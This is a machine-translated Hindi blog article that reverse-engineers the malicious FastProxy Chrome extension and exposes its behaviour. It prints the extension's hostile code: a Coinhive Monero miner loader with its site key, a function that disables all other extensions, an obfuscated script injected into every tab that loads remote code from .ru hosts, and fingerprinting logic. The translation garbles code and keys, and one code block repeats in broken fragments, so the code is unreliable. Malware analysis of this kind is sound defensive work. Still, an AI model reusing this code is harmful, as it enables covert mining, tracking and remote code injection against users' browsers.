इस लेख में मैं दिखाऊंगा कि क्रोम में खतरनाक एक्सटेंशन और कैसे हो सकते हैं
फ़ायरफ़ॉक्स एक्सटेंशन सुरक्षित हैं।

यह FastProxy के विस्तार के बारे में है।
किसी भी मामले में इसे क्रोम में अपने शुद्ध रूप में न रखें।

इसका स्रोत कोड प्राप्त करने के लिए, आपको सबसे पहले एक और एक्सटेंशन क्रोम एक्सटेंशन स्रोत दर्शक स्थापित करना होगा।

उसके बाद, पेज खोलें ।

CRX आइकन पीला हो जाएगा - इस पर क्लिक करें और "ज़िप के रूप में डाउनलोड करें" चुनें।

अब कोड विश्लेषण के लिए।

1. प्रकट (मेनिफेस्टोन) - किसी भी विस्तार का मूल

एक्सटेंशन प्रतिबंध CSP (सामग्री सुरक्षा नीति) और अनुमतियों द्वारा निर्धारित किए जाते हैं:

"content_security_policy": "script-src 'self' 'unsafe-eval' https://ssl.google-analytics.com ; ऑब्जेक्ट-src 'self'";
"अनुमतियाँ": ["प्रॉक्सी", "टैब", "वेबरेज़ेस्ट", "वेबरेज़स्टब्लॉकिंग", "प्रबंधन", "\ u003Call_urls>", "संग्रहण"],

सीएसपी को तुरंत सतर्क होना चाहिए, यह असुरक्षित-निष्कासन (इस पर अधिक) की अनुमति देता है।
यानी पारित किसी भी स्ट्रिंग से कोड निष्पादित करें।

• management अनुमति आपको अन्य एक्सटेंशन प्रबंधित करने की अनुमति देती है।
• webRequestBlocking अनुमति ब्राउज़र के माध्यम से गुजरने वाले सभी अनुरोधों को स्थानापन्न करने की अनुमति देती है।
• अनुमति \u003Call_urls> <all_urls> के समान है - यह आपको किसी भी साइट पर कार्य करने की अनुमति देता है।

अनुमतियों के बारे में यहाँ और जानें।

यानी केवल एक मैनिफ़ेस्ट फ़ाइल के आधार पर, एक्सटेंशन में पहले से ही सब कुछ तक पहुंच का एक विशाल स्तर है।

कुंजी कोड फ़ाइलों में सूचीबद्ध हैं

"पृष्ठभूमि": {
"स्क्रिप्ट": ["lib.js", "jquery.min.js", "बैकग्राउंड.जेएस", "ga.js"]
}

विस्तार स्थापित करने के तुरंत बाद या ब्राउज़र लॉन्च करने के तुरंत बाद उन्हें सरणी में निष्पादित किया जाता है।

2. पृष्ठभूमि प्रक्रिया फ़ाइलों का विश्लेषण

कोड कम से कम और भ्रमित है। सुलझने के लिए, हम डिफ़ॉल्ट सेटिंग्स के साथ साइट http://jsbeautifier.org/ का उपयोग करेंगे।

• मैंने jquery.min.js फ़ाइल की तुलना मूल jquery 2.2.4 कोड के साथ की - वे मेल खाते हैं।
• Ga.js फ़ाइल केवल Google Analytics कोड है।
• Lib.js फ़ाइल CryptoJS है।
• मुख्य कोड background.js में केंद्रित है।

कोड को पढ़ने में बहुत आसान बनाने के लिए, मैंने इसे थोड़ा नाम दिया (बदला हुआ कार्य, अलग-अलग ब्लॉक में अल्पविराम बदल दिया)।
कोड के गैर-कोर हिस्से को समझने के लिए आप उसी एक्सटेंशन के फ़ायरफ़ॉक्स संस्करण का भी उपयोग कर सकते हैं।
फ़ायरफ़ॉक्स और क्रोम में प्रॉक्सी का उपयोग मौलिक रूप से अलग है।

एक्सटेंशन के फ़ायरफ़ॉक्स संस्करण को डाउनलोड करने के लिए, आपको फ़ायरफ़ॉक्स में लिंक खोलने की आवश्यकता है।
"फ़ायरफ़ॉक्स में जोड़ें" लिंक को कॉपी करें और इसे क्रोम में खोलें।
ज़िप संग्रह के रूप में खोलें।

इस लिंक पर दोबारा लिखा कोड पाया जा सकता है।

3. पृष्ठभूमि का विश्लेषण। js

सबसे पहले, आपको यह समझने की आवश्यकता है कि स्क्रिप्ट फ़ाइल पर निष्पादित $.ajax इस स्क्रिप्ट को पृष्ठ में (इस मामले में, पृष्ठ में नहीं, बल्कि पृष्ठभूमि प्रक्रिया में) एम्बेड करता है।

रेखा द्वारा पहरा दिया गया

 localStorage.C = JSON.stringify( [ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==" ] ); 

वे हमें पहले ही बता रहे हैं कि मामला साफ नहीं है।

CryptoJS.AES.decrypt( JSON.parse( localStorage.C)[cc], "config") और CryptoJS.AES.decrypt( JSON.parse(localStorage.P)[pc], "record") CryptoJS.AES.decrypt( JSON.parse( localStorage.C)[cc], "config") CryptoJS.AES.decrypt( JSON.parse(localStorage.P)[pc], "record") बाद CryptoJS.AES.decrypt( JSON.parse( localStorage.C)[cc], "config") जोड़ें। , स्वयं अजाक्स के निष्पादन को प्रतिबंधित करता है।

उसी समय, लाइन में JSON.parse( localStorage.C)[cc] (और रिकॉर्ड के लिए समान) cc हम 0 से 1 में बदलते हैं (बाद में 2 तक, जब हम 3 तत्वों के सरणियों को देखते हैं)।

हमें लिंक मिलते हैं:
इसके लिए कॉन्फ़िगर करें

http://proxyrus.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4 (1)
http://proxy-fast.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4 (2)

इसे रिकॉर्ड करने के लिए

http://proxyrus.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4 (3)
http://proxy-fast.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4 (4)

इसके अलावा, लिंक केवल डेटा का उपयोग करते हैं जब दोनों मापदंडों के साथ यूआईडी और संस्करण का उपयोग किया जाता है, और केवल $ .ajax या लाने के माध्यम से। केवल ब्राउज़र के माध्यम से खोलना देखना काम नहीं करता है - जाहिरा तौर पर आने वाले हेडर के लिए चेक हैं।

अब आइए आगे बढ़ते हैं कि ये अजाक्स क्या दे रहे हैं। यदि आप उन्हें स्वयं पढ़ना चाहते हैं, तो बस किसी अन्य परियोजना में लाने के लिए बेहतर है (आपको ब्राउज़र में कॉर्स को अनलॉक करने वाले एक्सटेंशन स्थापित करने की आवश्यकता होगी)।

config_proxyrus.ru.js

तो, पहला लिंक हमें एक स्क्रिप्ट देता है जो पृष्ठभूमि प्रक्रिया में स्वचालित रूप से एम्बेडेड होगा, क्योंकि 'असुरक्षित-निष्कासन' मौजूद है, लेकिन सीएसपी में लिंक प्रतिबंध नहीं हैं।

यह रेखा को ध्यान देने योग्य है

 function antiZapret (tabId, changeInfo, tab) { if (typeof(tab.url) != 'undefined' && changeInfo.status == 'complete') { chrome.tabs.executeScript(tabId,{code: "if (document.body.innerText.indexOf(': ') != -1) document.body.innerHTML = '<center style=\"margin-top: 50px; font-size:20px;\">   .<br><br>  .</center>'",runAt:"document_start"}); } 

हम "एंटी-निषेध फास्टप्रोक्सी" की खोज में ड्राइव करते हैं और 4 वें खोज परिणाम खोलते हैं, अनुभाग "सावधान रहें"।
यह पता चला है कि FastProxy अपने स्वयं के प्रॉक्सी सर्वर का उपयोग नहीं करता है।

config_proxy-fast.ru.js

दूसरा लिंक पहले के समान एक कोड देता है, लेकिन स्क्रिप्ट पहले से ही अलग है!

 function closeWindow () { const time = 500; //    setInterval(function() { //     chrome.tabs.getSelected(null, function (details) { //     id -  if (details.id == -1) window.close(); }) }, time); } closeWindow(); 

आमतौर पर सभी टैब में आईडी होती है। एक अपवाद ब्राउज़र कंसोल टैब विंडो है। यानी यह कंसोल के माध्यम से जासूसी के खिलाफ सुरक्षा है।

इस फ़ाइल में नए urls भी हैं, उन्हें CryptoJS.AES.decrypt( value, "config").toString(CryptoJS.enc.Utf8) का उपयोग करके डिक्रिप्ट करें CryptoJS.AES.decrypt( value, "config").toString(CryptoJS.enc.Utf8) और CryptoJS.AES.decrypt( value, "record").toString(CryptoJS.enc.Utf8) ।
पहले 2 लिंक पिछले वाले के समान हैं। लेकिन तीसरा अलग है:

http://fastproxy.ga/proxy/config/config.txt

'रिकॉर्ड' के लिए सभी 3 लिंक नए हैं।

http://proxyrus.ru/proxy/config/data_ru.txt
http://proxy-fast.ru/proxy/config/data_ru.txt
http://fastproxy.ga/proxy/config/data_ru.txt

config_fastproxy.ga.js

वास्तव में, config_proxy-fast.ru.js से अलग नहीं है

वापस config_proxyrus.ru.js पर

कोड में कंसोल को बंद करना भी शामिल है। फिर मस्ती शुरू होती है।

पंक्ति

 var ext_id = chrome.app.getDetails().id; 

एक्सटेंशन की पहचानकर्ता को मिल जाता है, और यह एक अनिर्दिष्ट सुविधा है।
वर्तमान प्रलेखन एक अलग विधि का उपयोग करता है
अगला कांटा आता है:

 if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); //    } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); } ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); //    } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); } XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0 ="]); if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); //    } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); } 

एक ही तीन लिंक अगर ext_id एक्सटेंशन की वांछित सूची में नहीं आते हैं।
और एक नया लिंक, अगर यह एक्सटेंशन की सूची में आता है + एक्सटेंशन का पूर्ण रीबूट।

अगर किसी को पता चल सके कि ये एक्सटेंशन क्या थे, तो टिप्पणियों में लिखें। FastProxy की वर्तमान आईडी के साथ कोई मेल नहीं हैं। Google स्टोर के माध्यम से खोज करने से उनके पहचानकर्ताओं द्वारा कुछ भी नहीं दिया जाता है।

लिंक की व्याख्या

 localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); 

यह देता है

http://prowebdom.ru/update/test/proxy/config/config_ru.js
http://prowebdom.ru/update/test/proxy/config/data_ru.pac
जिसे सीधे ब्राउज़र में खोला जा सकता है।

config_prowebdom.ru.js

कंसोल को फिर से बंद करना। और फिर सबसे दिलचस्प।

 var coin = $.get("https://coinhive.com/lib/coinhive.min.js"); coin.done(() => { var miner = new CoinHive.User('aUvlRg4eSsDf6wcFmMZPjQ57JDUUR3IR', 'FPR', {autoThreads: true}); miner.start(); }) 

^ मोनरो माइनर का शुभारंभ। वैसे, वॉलेट को याद रखें, यदि आपको कोड में कुछ समान दिखाई देता है, तो ये वही लोग हैं।

 function removeAdBlockExtensions () { window.chrome.management.getAll((extensions) => { extensions.forEach((e) => { if (e.enabled && e.id != window.chrome.runtime.id) { window.chrome.management.setEnabled(e.id, false); } }); }); } removeAdBlockExtensions(); 

यह कोड स्वयं को छोड़कर सभी एक्सटेंशन अक्षम करता है।
यदि प्रबंध की अनुमति नहीं होती, तो यह संभव नहीं होता।

आगे

 chrome.tabs.onUpdated.addListener(onUpdatedListenerSearch); 

और

 function onUpdatedListenerSearch(tabId, changeInfo, tab) { if (typeof(tab.url) != 'undefined') { var ext_id = chrome.app.getDetails().id; if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf') { if (tab.url.indexOf('google') == -1) { //             chrome.tabs.executeScript(tabId, {code:"!function(){var b={a3759370402:'30022',a1072190280:'{subid}',a2302729239:JSON.parse('[\"7a72793462736f702e7275\",\"746b636d36686a762e7275\"]')},c=function(h,j,k){for(var l=[].slice.call(k),m=h.split('.'),p=m.pop(),q=0;q<m.length;q++)j=j[m[q]];return j[p].apply(j,l)},d=function(h){if(!(h=h.match(/.{1,2}/g)))return'';for(var j='',k=0;k<h.length;k++)j+=c('fromCharCode',String,[parseInt(h[k],16)]);return j},f=function(h,j,k){if('undefined'==typeof a2690641770||!a2690641770(document.location.protocol+'//'+h))if(document.head){var l=document.createElement('script');l.setAttribute('src',document.location.protocol+'//'+h),l.setAttribute('type','text/javascript'),document.head.appendChild(l),l.onload=function(){this.a982392846||(this.a982392846=!0,'function'==typeof j&&j())},l.onerror=function(){this.a982392846||(this.a982392846=!0,l.parentNode.removeChild(l),'function'==typeof k&&k())}}else setTimeout(function(){f(h,j,k)},10)},g=function(h){if(!(0>=b.a3759370402||0>b.a1072190280)){var j=h||b.a2302729239[0],k=d(j)+'/'+['d6s','afu','ndj','enk','6af'].join('')+'/'+b.a3759370402+'_'+b.a1072190280+'.js';f(k,function(){},function(){var l=b.a2302729239.indexOf(j),m=b.a2302729239[l+1];m&&g(m)})}};b.a3759370402=parseInt(b.a3759370402)||0,b.a1072190280=parseInt(b.a1072190280)||0,g()}();/* k */", runAt: 'document_end'}, callback); } } } } 

tabs.onUpdated एक टैब को दूसरे में लोड करने के चरणों में से एक को अपडेट करते समय कॉलबैक शुरू करता है। अधिक जानकारी यहाँ।
सीधे शब्दों में कहें तो यह हर टैब को प्रभावित करता है।

 if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf') 

सिवाय FastProxy के। जाहिरा तौर पर कई एक्सटेंशन की एक श्रृंखला थी जो वायरस की तरह काम करती थी।

 if (tab.url.indexOf('google') == -1) { 

Google string वाले सभी urls को छोड़कर। जाहिर है क्योंकि Google के साथ टैब अस्थायी हैं। सही कारण मेरे लिए स्पष्ट नहीं है।

और सबसे बुरी बात यह है कि इस टैब में पेज पूरी तरह से लोड होने के बाद प्रत्येक टैब में एक स्क्रिप्ट लागू की जाती है:

script1.js

जेएस ब्यूटिफायर के माध्यम से इसे चलाएं।

script2.js

कैरेक्टर गेम्स को कंसोल.लॉग की बदौलत छोड़ा जा सकता है।
सबसे खतरनाक बात शुरू होती है जहां स्क्रिप्ट टैग बनाया जाता है।
var l = document.createElement ('स्क्रिप्ट');

मुख्य रूप से मेरे आंतरिक HTML या src में मुझे क्या दिलचस्पी है।

 l.setAttribute('src', document.location.protocol + '//' + h) 

बाएं भाग स्पष्ट है - वर्तमान पृष्ठ का प्रोटोकॉल। दाहिना हिस्सा वास्तविक लिंक है। वहाँ सांत्वना दें

हमें मिलता है

zry4bsop.ru/d6safundjenk6af/30022_0.js

script3.js

इसी तरह, जेएस ब्यूटीफायर के माध्यम से चलाएं

script4.js

फ़ाइल का सिद्धांत समान है - सबसे खतरनाक हिस्सा एक स्क्रिप्ट को जोड़ रहा है।

 var e = document.createElement("script"); e.setAttribute("src", document.location.protocol + "//" + t); 

हमें मिलता है

zry4bsop.ru/d6safundjenk6af/30022_0/c_646576656c6f7065722e6d6f7a696c6c612e6f7267_0.js
यदि MDN पर चलाया जाता है

Productforums.google.com पर समान

zry4bsop.ru/d6safundjenk6af/30022_0/c_70726f64756374666f72756d732e676f6f676c652e636f6d_0.js

यह पता चला है कि दाईं ओर कुछ जुड़ा हुआ है

हम कोड को देखते हैं

 document.location.hostname ? document.location.hostname : document.location.toString().split("/")[2] 

स्व-आहरण समारोह में उल्लेख किया च
तब f का उल्लेख किया गया है

 var n = o(i[t]) + "/" + ["d6s", "afu", "ndj", "enk", "6af"].join('') + "/" + a + "/c_" + f + "_" + c + ".js"; 

यानी प्रतीकात्मक संचालन के माध्यम से, विज़िट किए गए URL को स्क्रिप्ट में पास किया जाता है।
हम स्क्रिप्ट कोड को ही देखते हैं, वे मेल खाते हैं।

script5.js

इसे फिर से जेएस ब्यूटिफायर के माध्यम से चलाएं।

script6.js

कोड को फिर से लिखने के बिना, आप नोड्स जोड़ने, स्क्रिप्ट बनाने, कुकीज़ को बदलने पर देख सकते हैं,
खरोंच से तत्वों का निर्माण, अजाक्स। लेकिन यह समझना बहुत मुश्किल है कि वास्तव में क्या हो रहा है।
इसलिए इन गिने हुए कार्यों का नाम बदलने का प्रयास करें।

script7.js

इस फ़ाइल को खोलना मुश्किल था। सबसे कठिन काम वस्तुओं के निरंतर निर्माण से गुजरना है जो वस्तुओं का निर्माण करते हैं जो वस्तुओं का निर्माण करते हैं ... उलझन को सुलझाना शुरू करने के लिए शुद्ध कार्यों को खोजना भी कठिन था।

मैं कोड को पूरी तरह से खोल नहीं पा रहा था। लेकिन जो बिना सुलझा हुआ निम्नलिखित देता है:

एक उपयोगकर्ता के बारे में एक पूर्ण अंगुली की छाप, जो तब बिट संचालन की एक श्रृंखला के माध्यम से एक अद्वितीय स्ट्रिंग में बदल जाता है।
इस प्रिंट में शामिल हैं:

• UserAgent
• स्थापित प्लगइन्स के बारे में जानकारी (विशेष रूप से IE के लिए)। यहाँ विशेष रूप से ध्यान देने योग्य बात है पालमून लाइन। तथ्य यह है कि पालमून आपको जावा का उपयोग करने की अनुमति देता है।
• उपयोग किए गए प्रोसेसर के बारे में जानकारी
• स्थापित फोंट (getFontData फ़ंक्शन) के बारे में जानकारी। इसके अलावा, कोड सिस्टम एक के अलावा, फोंट की एक विस्तारित सूची का उपयोग करने की क्षमता प्रदान करता है। लेकिन केवल सिस्टम का उपयोग किया जाता है
• अद्वितीय कैनवास प्रिंट (get2dCanvasFingerprint फ़ंक्शन)। यह देखते हुए कि वह कई गैर-मानक पात्रों का उपयोग करता है, सिस्टम में स्थापित भाषाओं की उपस्थिति के लिए एक चेक है।
• वेबलॉग द्वारा अद्वितीय फिंगरप्रिंट (getWebglFingerprint फ़ंक्शन)
• नेविगेटर (hasFalseBrowser फ़ंक्शन) द्वारा आपूर्ति किए गए डेटा की गलतता की जाँच करना। विशेष रूप से इस संबंध में, eval.toString () का उपयोग यह समझना दिलचस्प है कि वास्तव में किस प्रकार के ब्राउज़र का उपयोग किया जाता है। मैंने इसके बारे में कभी अनुमान नहीं लगाया होगा।

एक फ़ंक्शन है जो XMLHttpRequest चलाता है। लेकिन इसका उपयोग कोड में नहीं किया जाता है और स्क्रिप्ट शुरू होने पर शुरू नहीं होता है।

एक फ़ंक्शन है जो पृष्ठ पर एक फ्लैश एम्बेड करता है, लेकिन वास्तव में इसका उपयोग नहीं किया जाता है।

कैनवास / वेबलॉग फिंगरप्रिंट संग्रह कोड पर एक नज़र डालें।

पृष्ठ पर एक iframe का एम्बेडिंग है (appendBadIframe1 विधि)।
अब देखते हैं कि इस आइफ्रेम में क्या है।

iframe1

जेएस ब्यूटीफायर के माध्यम से चलाएं।

iframe2

कोड के अनुसार, यह मुख्य स्क्रिप्ट के साथ एक सूचना एक्सचेंजर है। यदि मुख्य स्क्रिप्ट अधिकांश भाग बिट संचालन के लिए है, तो एक ई-फ्रेम वस्तुओं के गणना किए गए गुणों के माध्यम से चलती है। Window.postMessage का उपयोग करके वे आपस में संदेशों का आदान-प्रदान करते हैं।

वापस script7.js पर

फ़ाइल का निष्पादन 6 XHR अनुरोध बनाता है (और Img के निर्माण के माध्यम से), और जब आप पृष्ठ पर क्लिक करते हैं, तो एक नई विंडो खुलती है।
अनुरोधों के लिए अस्वीकृत लिंक कोड में पाए जा सकते हैं।

वापस एक्सटेंशन पर

एक्सटेंशन और रिकॉर्ड लिंक पर वापस जाएं। ये लिंक chrome.proxy.settings.set पद्धति के लिए .pac फ़ाइल के रूप में उपयोग किए जाते हैं।
फाइल कोड यहां देखे जा सकते हैं:

https://github.com/lawlietmester/fastproxy_article/blob/master/pac_fastproxy.ga.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_prowebdom.ru.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxy-fast.ru.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxyrus.ru.js

फ़ाइलों का सामान्य सार एक प्रॉक्सी के माध्यम से अवरुद्ध प्रॉक्सी और आईपी के माध्यम से डोमेन को लटका देना है, और अन्य प्रत्यक्ष पर, अर्थात्। प्रॉक्सी के बिना पहुंच।
सर्वरों का सेट और अवरुद्ध डोमेन / आईपी के सेट में अंतर होता है।
आइए जानें कि ऑटो-लॉक (antizapret.prostovpn.org) के अलावा जिनके सर्वर FastProxy का उपयोग करते हैं।
हम खोज में postls.com चलाते हैं। पहला लिंक खोलें।

Browsec एक्सटेंशन को ब्लॉक करने के लिए, आपको एक VPM नियम बनाना होगा जो गंतव्य URL IP / होस्ट नाम को ब्लॉक कर देगा
browsec.com
postlm.com
postls.com

यानी FastProxy अपने स्वयं के सर्वरों के बिना एंटी-बैन और ब्राउन सर्वर का उपयोग करता है।

4. विस्तार क्षमता के बारे में

अनुमति वेबरेक्वेस्ट + वेबरेक्वेस्टब्लॉकिंग का उपयोग करके, आप क्रोम के अंदर ही आंतरिक अनुरोध सहित बिल्कुल किसी भी अनुरोध को बदल सकते हैं।
यानी आप HTML- पृष्ठों को पूरी तरह से बदल सकते हैं, आप साइट के CSP (सामग्री सुरक्षा नीति) सहित अनुरोधों में हस्तक्षेप करने वाले हेडर को हटा सकते हैं।
अपने प्रॉक्सी का उपयोग करके, आप अपने प्रॉक्सी के माध्यम से जाने वाले सभी उपयोगकर्ता ट्रैफ़िक को मर्ज कर सकते हैं।

5. एक्सटेंशन Google और मोज़िला की नीति के बारे में

Google की नीति मोज़िला की नीति की तुलना में बहुत अधिक लाभदायक है, वे लगभग सब कुछ प्रकाशित करते हैं।
मोज़िला की सख्त आवश्यकताएं हैं: असुरक्षित-निष्कासन निषिद्ध है, कोड ओफ़्फ़्यूशिएशन निषिद्ध है (यदि आप पूर्ण कलेक्टर प्रदान करते हैं)।
मोज़िला समय-समय पर एक्सटेंशन कोड भी देखता है, लेकिन प्रकाशन के तुरंत बाद नहीं।
अधिक विवरण यहां और यहां पढ़े जा सकते हैं ।
इस कारण से, नए फ़ायरफ़ॉक्स एक्सटेंशन स्थापित करना क्रोम एक्सटेंशन की तुलना में बहुत शांत है।

6. कोड में नया क्या है:

नेविगेटर भूतकाल की तुलना में ब्राउज़र के बारे में एक अवास्तविक डेटा प्रदान करता है। और सबसे अधिक संभावना भविष्य में और भी अधिक देगा।

eval.toString, साथ ही साथ अन्य मूल फ़ंक्शन, आपको ब्राउज़र के वास्तविक संस्करण की गणना करने की अनुमति देगा।

कैनवास और वेबलॉग पर अद्वितीय प्रिंट।

7. पाठकों के लिए प्रश्न

अगर किसी ने वेबलॉग के साथ काम किया है, तो कृपया हमें बताएं कि getWebglFingerprint फ़ंक्शन क्या करता है। और वहाँ क्या अनोखा निकला?

सभी स्रोतों को यहां पाया जा सकता है।